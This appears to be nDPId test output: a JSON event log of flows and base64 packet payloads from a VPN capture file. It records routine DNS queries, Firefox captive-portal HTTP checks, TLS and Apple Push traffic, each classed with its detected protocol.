+00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":343,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1569687267453,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.149","src_port":56865,"dst_port":8008,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":343,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":453127,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"pHczjPFANDY7z3UoCABFAAA0AABAAEAGJU0KAADjCgAAld4hH0glPK3eiXsRe4AREAA75QAAAQEIChwN0AsAIb2q"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":344,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1569687267453,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.151","src_port":56866,"dst_port":8060,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":344,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":453153,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"2DE0IHf7NDY7z3UoCABFAAA0AABAAEAGJUsKAADjCgAAl94iH3wAQcGNmjQa94AREAAjsAAAAQEIChwN0AsGksZO"} +00432{"flow_id":42,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":345,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":454953,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UopHczjPFACABFAAA0sX1AAEAGc88KAACVCgAA4x9I3iGJexF7JTyt34ARAPMpJgAAAQEICgAh33UcDdAL"} +00432{"flow_id":42,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":346,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":455039,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"pHczjPFANDY7z3UoCABFAAA0AABAAEAGJU0KAADjCgAAld4hH0glPK3fiXsRfIAQEAAaFwAAAQEIChwN0A0AId91"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":347,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1569687267477,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":57253,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":347,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":477342,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"LH6BsEqhNDY7z3UoCABFAAA5Pw0AAP8R2y0KAADjS0tLS9+lADUAJfklv50BAAABAAAAAAAAB21vemlsbGEDb3JnAAABAAE="} +00635{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":347,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1569687267477,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":57253,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"mozilla.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":348,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1569687267481,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":62427,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":348,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":481295,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"LH6BsEqhNDY7z3UoCABFAABG89oAAP8RJlMKAADjS0tLS\/PbADUAMlit7RYBAAABAAAAAAAADGRldGVjdHBvcnRhbAdmaXJlZm94A2NvbQAAAQAB"} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":348,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1569687267481,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":62427,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"ConnectivityCheck"},"dns": {"query":"detectportal.firefox.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00848{"flow_id":25,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":349,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":482821,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"LH6BsEqhNDY7z3UoCABFAAFnyhkAAEAGtC4KAADjuBk4Td40AFBjyKiBGk9l7oAYEABAcgAAAQEIChwN0CfjFR\/lR0VUIC9zdWNjZXNzLnR4dD9pcHY0IEhUVFAvMS4xDQpIb3N0OiBkZXRlY3Rwb3J0YWwuZmlyZWZveC5jb20NClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjEzOyBydjo2OS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzY5LjANCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClByYWdtYTogbm8tY2FjaGUNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQoNCg=="} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":349,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":5,"flow_first_seen":1569687249612,"flow_last_seen":1569687267482,"flow_tot_l4_data_len":443,"flow_min_l4_data_len":20,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":88,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"184.25.56.77","src_port":56884,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"ConnectivityCheck"},"http": {"hostname":"detectportal.firefox.com","url":"detectportal.firefox.com\/success.txt?ipv4","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.13; rv:69.0) Gecko\/20100101 Firefox\/69.0"}} +00840{"flow_id":24,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":350,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":483863,"pkt_caplen":368,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":368,"pkt_l4_len":334,"pkt":"LH6BsEqhNDY7z3UoCABFAAFiADsAAEAGfhIKAADjuBk4Td5VAFBor5yuCT1EPYAYEAk5BQAAAQEIChwN0CjjFR\/gR0VUIC9zdWNjZXNzLnR4dCBIVFRQLzEuMQ0KSG9zdDogZGV0ZWN0cG9ydGFsLmZpcmVmb3guY29tDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMC4xMzsgcnY6NjkuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC82OS4wDQpBY2NlcHQ6ICovKg0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KUHJhZ21hOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +00756{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":350,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":5,"flow_first_seen":1569687249612,"flow_last_seen":1569687267483,"flow_tot_l4_data_len":438,"flow_min_l4_data_len":20,"flow_max_l4_data_len":334,"flow_avg_l4_data_len":87,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"184.25.56.77","src_port":56917,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"ConnectivityCheck"},"http": {"hostname":"detectportal.firefox.com","url":"detectportal.firefox.com\/success.txt","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.13; rv:69.0) Gecko\/20100101 Firefox\/69.0"}} +00461{"flow_id":44,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":353,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":493135,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"NDY7z3UoLH6BsEqhCABFAABJAABAADoRnytLS0tLCgAA4wA136UANZKzv52BgAABAAEAAAAAB21vemlsbGEDb3JnAAABAAHADAABAAEAAAAaAAQ\/9dDD"} +00662{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":353,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":2,"flow_first_seen":1569687267477,"flow_last_seen":1569687267493,"flow_tot_l4_data_len":90,"flow_min_l4_data_len":37,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":57253,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"mozilla.org","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"63.245.208.195"}} +00671{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":354,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":500594,"pkt_caplen":242,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":242,"pkt_l4_len":208,"pkt":"NDY7z3UoLH6BsEqhCABFAADkAABAADoRnpBLS0tLCgAA4wA189sA0PLn7RaBgAABAAUAAAAADGRldGVjdHBvcnRhbAdmaXJlZm94A2NvbQAAAQABwAwABQABAAAAIwAeDGRldGVjdHBvcnRhbARwcm9kBm1vemF3cwNuZXQAwDYABQABAAAADgAoDGRldGVjdHBvcnRhbAdmaXJlZm94BmNvbS12MgllZGdlc3VpdGXAT8BgAAUAAQAAUnoAFAVhMTA4OQRkc2NkBmFrYW1hacBPwJQAAQABAAAACQAEuBk4UsCUAAEAAQAAAAkABLgZODM="} +00686{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":354,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":2,"flow_first_seen":1569687267481,"flow_last_seen":1569687267500,"flow_tot_l4_data_len":258,"flow_min_l4_data_len":50,"flow_max_l4_data_len":208,"flow_avg_l4_data_len":129,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":62427,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"ConnectivityCheck"},"dns": {"query":"detectportal.firefox.com","num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"184.25.56.82"}} +00947{"flow_id":25,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":355,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":507386,"pkt_caplen":450,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":450,"pkt_l4_len":416,"pkt":"NDY7z3UoLH6BsEqhCABFAAG0NJpAADcGEmG4GThNCgAA4wBQ3jQaT2XuY8iptIAYAPx2eQAAAQEICuMVPlUcDdAnSFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4NCkNvbnRlbnQtTGVuZ3RoOiA4DQpMYXN0LU1vZGlmaWVkOiBNb24sIDE1IE1heSAyMDE3IDE4OjA0OjQwIEdNVA0KRVRhZzogImFlNzgwNTg1ZjQ5Yjk0Y2UxNDQ0ZWI3ZDI4OTA2MTIzIg0KQWNjZXB0LVJhbmdlczogYnl0ZXMNClNlcnZlcjogQW1hem9uUzMNClgtQW16LUNmLUlkOiBJcS1oTGRhcmRnZUVmOTBhU3dsQlZkRDJUbjFzY29hcnBlQlMtbUtNWmdLNG1lWGlWTEpHTUE9PQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG5vLXN0b3JlLCBtdXN0LXJldmFsaWRhdGUNCkRhdGU6IFNhdCwgMjggU2VwIDIwMTkgMTY6MTQ6MjcgR01UDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCnN1Y2Nlc3MK"} +00434{"flow_id":25,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":356,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":507460,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGP3sKAADjuBk4Td40AFBjyKm0Gk9nboAQD\/TwCAAAAQEIChwN0D\/jFT5V"} +00947{"flow_id":24,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":357,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":512411,"pkt_caplen":450,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":450,"pkt_l4_len":416,"pkt":"NDY7z3UoLH6BsEqhCABFAAG0uJxAADgGjV64GThNCgAA4wBQ3lUJPUQ9aK+d3IAYAPOwEAAAAQEICuMVPlkcDdAoSFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4NCkNvbnRlbnQtTGVuZ3RoOiA4DQpMYXN0LU1vZGlmaWVkOiBNb24sIDE1IE1heSAyMDE3IDE4OjA0OjQwIEdNVA0KRVRhZzogImFlNzgwNTg1ZjQ5Yjk0Y2UxNDQ0ZWI3ZDI4OTA2MTIzIg0KQWNjZXB0LVJhbmdlczogYnl0ZXMNClNlcnZlcjogQW1hem9uUzMNClgtQW16LUNmLUlkOiBJcS1oTGRhcmRnZUVmOTBhU3dsQlZkRDJUbjFzY29hcnBlQlMtbUtNWmdLNG1lWGlWTEpHTUE9PQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG5vLXN0b3JlLCBtdXN0LXJldmFsaWRhdGUNCkRhdGU6IFNhdCwgMjggU2VwIDIwMTkgMTY6MTQ6MjcgR01UDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCnN1Y2Nlc3MK"} +00433{"flow_id":24,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":358,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":512489,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0xDAAAEAGu0oKAADjuBk4Td5VAFBor53cCT1FvYAQD\/0piwAAAQEIChwN0EPjFT5Z"} +00847{"flow_id":25,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":359,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":514776,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"LH6BsEqhNDY7z3UoCABFAAFnAABAAEAGPkgKAADjuBk4Td40AFBjyKm0Gk9nboAYEAAfMQAAAQEIChwN0EXjFT5VR0VUIC9zdWNjZXNzLnR4dD9pcHY0IEhUVFAvMS4xDQpIb3N0OiBkZXRlY3Rwb3J0YWwuZmlyZWZveC5jb20NClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjEzOyBydjo2OS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzY5LjANCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClByYWdtYTogbm8tY2FjaGUNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQoNCg=="} +00947{"flow_id":25,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":360,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":539325,"pkt_caplen":450,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":450,"pkt_l4_len":416,"pkt":"NDY7z3UoLH6BsEqhCABFAAG0NJtAADcGEmC4GThNCgAA4wBQ3jQaT2duY8iq54AYAQRzgAAAAQEICuMVPnUcDdBFSFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4NCkNvbnRlbnQtTGVuZ3RoOiA4DQpMYXN0LU1vZGlmaWVkOiBNb24sIDE1IE1heSAyMDE3IDE4OjA0OjQwIEdNVA0KRVRhZzogImFlNzgwNTg1ZjQ5Yjk0Y2UxNDQ0ZWI3ZDI4OTA2MTIzIg0KQWNjZXB0LVJhbmdlczogYnl0ZXMNClNlcnZlcjogQW1hem9uUzMNClgtQW16LUNmLUlkOiBJcS1oTGRhcmRnZUVmOTBhU3dsQlZkRDJUbjFzY29hcnBlQlMtbUtNWmdLNG1lWGlWTEpHTUE9PQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG5vLXN0b3JlLCBtdXN0LXJldmFsaWRhdGUNCkRhdGU6IFNhdCwgMjggU2VwIDIwMTkgMTY6MTQ6MjcgR01UDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCnN1Y2Nlc3MK"} +00434{"flow_id":25,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":361,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":539385,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGP3sKAADjuBk4Td40AFBjyKrnGk9o7oAQD\/TtGAAAAQEIChwN0FzjFT51"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":362,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1569687267677,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"52.10.115.210","src_port":56879,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":362,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":677665,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"LH6BsEqhNDY7z3UoCABFAABb+tIAAEAGzQsKAADjNApz0t4vAbv\/h0Qcal\/PeIAYEACaRQAAAQEIChwN0OQwQN34FwMDACIAAAAAAAAAAwpFwR2TiNxP0z\/UzUIiCJ75mBQ8ToLTjZaT"} +00484{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":363,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":713276,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"NDY7z3UoLH6BsEqhCABFAABXHWRAAOsGv300CnPSCgAA4wG73i9qX894\/4dEQ4AYAHaKdwAAAQEICjBBJbkcDdDkFwMDAB60PFmzucBfQdusHvXD0\/WWAM1faNPMBMLPArfIzdE="} +00435{"flow_id":46,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":364,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":713359,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA09sQAAEAG0UAKAADjNApz0t4vAbv\/h0RDal\/Pm4AQD\/4TQgAAAQEIChwN0QUwQSW5"} +00432{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":365,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":764612,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"2DE0IHf7NDY7z3UoCABFAAA0AABAAEAGJUsKAADjCgAAl94iH3wAQcGNmjQa94AREAAihAAAAQEIChwN0TcGksZO"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":366,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1569687267797,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"17.57.144.116","src_port":56886,"dst_port":5223,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":366,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":797747,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0xfMAAEAGCEEKAADjETmQdN42FGcxHLjbZd23sYAREACqlQAAAQEIChwN0VbVpVJo"} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":366,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1569687267797,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"17.57.144.116","src_port":56886,"dst_port":5223,"l4_proto":"tcp","ndpi": {"proto":"ApplePush.Apple","breed":"Safe","category":"Cloud"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":367,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1569687267799,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":60341,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":367,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":799414,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"LH6BsEqhNDY7z3UoCABFAAA72BEAAP8RQicKAADjS0tLS+u1ADUAJxlWhe8BAAABAAAAAAAAA3d3dwVhcHBsZQNjb20AAAEAAQ=="} +00633{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":367,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1569687267799,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":60341,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"www.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":368,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1569687267799,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":51060,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 